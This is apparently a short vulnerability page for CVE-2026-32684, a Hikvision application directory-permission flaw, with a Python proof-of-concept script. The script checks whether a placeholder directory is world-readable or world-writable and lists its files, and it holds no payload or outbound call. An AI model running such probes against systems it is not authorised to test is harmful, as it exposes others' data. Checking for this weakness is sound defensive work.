CVE-2026-32684 Hikvision应用程序目录访问权限限制不严格导致信息泄露

import os import stat # Proof of Concept for checking directory permissions # This script checks if a target directory has overly permissive access rights def check_vulnerable_directory(path): """ Checks if a directory is world-readable or world-writable. """ if not os.path.exists(path): print(f"[!] Path not found: {path}") return # Get directory status status = os.stat(path) mode = status.st_mode # Check for Others Read (o+r) or Others Write (o+w) is_world_readable = bool(mode & stat.S_IROTH) is_world_writable = bool(mode & stat.S_IWOTH) if is_world_readable or is_world_writable: print(f"[!] Vulnerable Directory Found: {path}") print(f" - World Readable: {is_world_readable}") print(f" - World Writable: {is_world_writable}") # Simulate reading sensitive files try: files = os.listdir(path) print(f" - Accessible Files: {files}") except Exception as e: print(f" - Error listing files: {e}") else: print(f"[-] Secure Directory: {path}") # Example target path (replace with actual vulnerable path) # This is often located in /data/data/ for Android or /AppData/ for Windows target_path = "/path/to/hikvision/app/data" check_vulnerable_directory(target_path)